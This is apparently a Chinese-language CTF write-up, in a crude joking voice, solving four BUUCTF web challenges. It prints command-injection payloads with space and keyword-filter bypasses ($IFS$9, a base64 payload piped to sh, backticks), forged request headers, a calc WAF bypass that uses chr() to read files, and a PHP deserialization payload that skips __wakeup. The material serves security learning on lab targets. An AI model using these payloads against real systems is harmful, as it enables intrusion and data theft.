# define 你爹 你👱🏻‍

(因为你👱🏻‍来自香榭丽舍大街,所以必须沾点金发碧眼)

(又因为你👱🏻‍学习C语言的时候看到define都是放到最上面的,所以你👱🏻‍先发布一个announcement)

[GXYCTF2019]Ping Ping Ping

你👱🏻‍一看这个题目就想起一首叫《乒乒乓乓》歌,只不过你👱🏻‍只是听别人说过并不知道哪个是正版。

你👱🏻‍打开靶场,看到个/?ip,你👱🏻‍马上就想到,127.0.0.1沾点特殊,于是风暴输入,/?ip=127.0.0.1,

你👱🏻发现有回显。于是觉得有活可整

于是输入/?ip=127.0.0.1;ls进行一个列表,发现了flag

你👱🏻这个时候决定乘胜追击 输入/?ip=127.0.0.1;cat flag.php

你👱🏻发现不仅没有读到flag 还被骂了,鉴于对方不是银,所以你👱🏻决定还是先做题

你👱🏻觉得是flag被检测了,于是先看看index长什么样子,结果同样cat index也被检测到了

于是你👱🏻开始怀疑是不是有空格绕过,百度了一下空格绕过方法

空格过滤
空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS$9后面这个数字你👱🏻发现随便填好像没事

你👱🏻又开始一轮have a try,输入/?ip=127.0.0.1;cat$IFS$9flag.php

你👱🏻果然料事如神,果然又被fuck了,于是你👱🏻决定看看index

这下clear了

所以你👱🏻绕过flag,输入/?ip=127.0.0.1;d=g;cat$IFS$9fla$d.php
这里就是讲的一个拼接

你👱🏻发现没东西 于是查看网页源代码给你小子逮住了。

你👱🏻看到后面还有那么大一坨,觉得这个不是正统方法,所以去看了下官方wp
发现官方wp的payload是:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

就是说啥呢就是说先对cat flag.php进行base64加密,过滤bash就用sh

你👱🏻发现还有一个方法:

内联执行

使用 `` 代替 | ,将反引号内命令的输出作为输入执行

/?ip=2.2.2.2;cat$IFS$1ls

就是把整个列表都拿下

你👱🏻进游戏语音的时候常说:你👱🏻来了。

现在你👱🏻真的来了。

你👱🏻这两个月去跟你👱🏻这学期要学的12门专业课进行了一番自由搏击,以你👱🏻的绩点遭受聚变打击作为收尾。

你👱🏻决定继续刷题

不信你👱🏻给你截图

[极客大挑战 2019]Http

你👱🏻一进去就看到这个页面,然后你爹乱点一番,没有吊用

于是你👱🏻用出了唯一的技能:查看网页源代🐴

经过你👱🏻一学期的web学习,你👱🏻虽然就学会了怎么往网页上放文字和改颜色,但是你👱🏻还会放那种点了就会中病毒的木马链接(取后者),这个href的后面跟着的就是一个新世界。

我趣,你👱🏻一看secret.php就知道这个玩意沾点关键

然后你👱🏻就点进去看看什么牛马

上面的style什么的没吊用,艺术在下半身。

再看看网页,它说你👱🏻不是来自https://Sycsecret.buuoj.cn,多少沾点排外了,但是你👱🏻能给你伪造个id card 这里你👱🏻使用一个插件:

ModHeader

这里使用ModHeader 将Referer修改为他要的那个,进入下一步

这里又要求你👱🏻使用Syclover brower进行next level

同理 使用Modheader增加 User-Agent:Syclover

这里是增加X-Forwarded-For:127.0.0.1

你👱🏻轻松拿下

这里你👱🏻选择了一个different滴way 没有用burpsuite 因为你👱🏻的burpsuite有时候会出一些莫名其妙的problem,跟个幻象一样戏耍你👱🏻。

[RoarCTF 2019]Easy Calc

你👱🏻一点进去试了一下,发现确实能计算

不该输了的输入了会报错

然后你👱🏻查看源代码 看到scrpit下面有个calc.php,觉得应该有这么一个东西,进去果然

直接Get就会权限不足你👱🏻

因此可以在num前面加个空格后成功输出aaaa

构造calc.php?%20num=1;var_dump(scandir(chr(47))),扫描一下,这里本来是scandir(“/“),但是”/“被过滤了,所以你👱🏻用chr(47)绕过,发现了f1agg文件;

同理,你👱🏻构造payload

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

[极客大挑战 2019]PHP

你👱🏻打开网页,这个前端倒是很有意思

你👱🏻查看源代码没看出什么东西,于是通过dirsearch扫一下

python dirsearch.py -u http://81f84012-5b91-45d8-bd99-d437dcd7b037.node4.buuoj.cn:81/ -e php

你👱🏻标记了dirsearch 等级1

https://github.com/maurosoria/dirsearch

确实很多 但是你👱🏻看到这个绿色的东西的时候就感觉这个玩意在🎣你👱🏻
所以你👱🏻下载下来得到类似于网页备份的东西,因而能看到源码

这个flag.php肯定不会直接给flag,不然其他的干嘛

class.php如下

private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
}

function __wakeup(){
    $this->username = 'guest';
}

function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();
    }
}

index.php有个这个

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

显然是一个反序列化构造,但是你👱🏻反序列化学的不好,试了挺久才弄出来

你👱🏻觉得既然要得到flag,最后一步肯定是要echo flag 这里需要使用到destruct的魔术方法

__destruct()析构函数(析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行),这里还要满足username是admin,password是100,其实还算是比较简单的反序列化

<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
 }
}
$a = new Name('admin', 100);
echo serialize($a);
?>

得到
O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}

在反序列化的时候,首先会执行_wakeup()魔术方法坏了你👱🏻的好事,这个玩意会把username重新赋值,所以需要跳过

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,因此你👱🏻这样设计

O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}

但还没完,这个声明变量是private,还需要整点狠活

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

因此你👱🏻再次进行change

O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}

构造payload:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

才将其拿下